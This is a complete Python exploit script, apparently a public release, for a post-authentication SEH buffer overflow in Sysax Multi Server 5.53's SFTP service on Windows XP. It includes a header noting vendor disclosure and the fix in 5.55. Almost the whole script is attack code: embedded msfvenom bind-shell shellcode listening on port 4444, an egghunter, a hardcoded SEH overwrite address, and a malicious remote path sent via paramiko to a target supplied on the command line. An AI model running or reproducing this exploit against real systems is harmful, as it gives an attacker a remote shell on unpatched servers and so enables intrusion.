#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit (Egghunter)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit 
#Software Versions Tested: 5.53
#Date Discovered: Febrary 22, 2012
#Vendor Contacted: Febrary 23, 2012
#Vendor Response: February 27, 2012
#Vendor Fix: Version 5.55
#Notes: Offset based on home path length. This exploit works for C:\AAAAAAAAAAAAAAAA
#Complete Description: http://www.pwnag3.com/2012/02/sysax-multi-server-553-sftp-exploit.html
##########################################################################################################
import paramiko,os,sys

if len(sys.argv) != 5:
    print "[+] Usage: ./filename <Target IP> <Port> <User> <Password>"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

transport = paramiko.Transport((host, port))
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b "\x00" -e x86/shikata_ga_nai
shell = ("DNWPDNWP"
"\xdb\xd9\xba\xf9\x77\x28\x1b\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x56\x31\x56\x18\x83\xee\xfc\x03\x56\xed\x95\xdd\xe7"
"\xe5\xd3\x1e\x18\xf5\x83\x97\xfd\xc4\x91\xcc\x76\x74\x26"
"\x86\xdb\x74\xcd\xca\xcf\x0f\xa3\xc2\xe0\xb8\x0e\x35\xce"
"\x39\xbf\xf9\x9c\xf9\xa1\x85\xde\x2d\x02\xb7\x10\x20\x43"
"\xf0\x4d\xca\x11\xa9\x1a\x78\x86\xde\x5f\x40\xa7\x30\xd4"
"\xf8\xdf\x35\x2b\x8c\x55\x37\x7c\x3c\xe1\x7f\x64\x37\xad"
"\x5f\x95\x94\xad\x9c\xdc\x91\x06\x56\xdf\x73\x57\x97\xd1"
"\xbb\x34\xa6\xdd\x36\x44\xee\xda\xa8\x33\x04\x19\x55\x44"
"\xdf\x63\x81\xc1\xc2\xc4\x42\x71\x27\xf4\x87\xe4\xac\xfa"
"\x6c\x62\xea\x1e\x73\xa7\x80\x1b\xf8\x46\x47\xaa\xba\x6c"
"\x43\xf6\x19\x0c\xd2\x52\xcc\x31\x04\x3a\xb1\x97\x4e\xa9"
"\xa6\xae\x0c\xa6\x0b\x9d\xae\x36\x03\x96\xdd\x04\x8c\x0c"
"\x4a\x25\x45\x8b\x8d\x4a\x7c\x6b\x01\xb5\x7e\x8c\x0b\x72"
"\x2a\xdc\x23\x53\x52\xb7\xb3\x5c\x87\x18\xe4\xf2\x77\xd9"
"\x54\xb3\x27\xb1\xbe\x3c\x18\xa1\xc0\x96\x2f\xe5\x0e\xc2"
"\x7c\x82\x72\xf4\x93\x0e\xfa\x12\xf9\xbe\xaa\x8d\x95\x7c"
"\x89\x05\x02\x7e\xfb\x39\x9b\xe8\xb3\x57\x1b\x16\x44\x72"
"\x08\xbb\xec\x15\xda\xd7\x28\x07\xdd\xfd\x18\x4e\xe6\x96"
"\xd3\x3e\xa5\x07\xe3\x6a\x5d\xab\x76\xf1\x9d\xa2\x6a\xae"
"\xca\xe3\x5d\xa7\x9e\x19\xc7\x11\xbc\xe3\x91\x5a\x04\x38"
"\x62\x64\x85\xcd\xde\x42\x95\x0b\xde\xce\xc1\xc3\x89\x98"
"\xbf\xa5\x63\x6b\x69\x7c\xdf\x25\xfd\xf9\x13\xf6\x7b\x06"
"\x7e\x80\x63\xb7\xd7\xd5\x9c\x78\xb0\xd1\xe5\x64\x20\x1d"
"\x3c\x2d\x50\x54\x1c\x04\xf9\x31\xf5\x14\x64\xc2\x20\x5a"
"\x91\x41\xc0\x23\x66\x59\xa1\x26\x22\xdd\x5a\x5b\x3b\x88"
"\x5c\xc8\x3c\x99")

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
"\x2e\x3c\x05\x5a\x74\xef\xb8\x44\x4e\x57\x50"
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

nseh = "\x90\x90\xeb\x08"
junk = "A" * 256
padding = "B" * (256 -len(junk) - len(shell))
seh = "\xA1\x47\x92\x5D" #5D9247A1 PPR RPCNS4.dll: *** SafeSEH unprotected ***
remotepath = junk + nseh + seh + "\x90" * 10 + egghunter + "\x90" * 1000 + shell + "\x90" * 100
localpath = '/tmp/system.log'
print "============================================================================"
print "        Sysax Multi Server <= 5.53 SFTP Post Auth SEH Exploit (Egghunter)   "
print "                                  by cd1zz                                  "
print "                               www.pwnag3.com                               "
print "        Launching exploit against " + host + " on port " + str(port) + " for XP"
print "============================================================================"
sftp.get(remotepath, localpath)
sftp.close()
transport.close()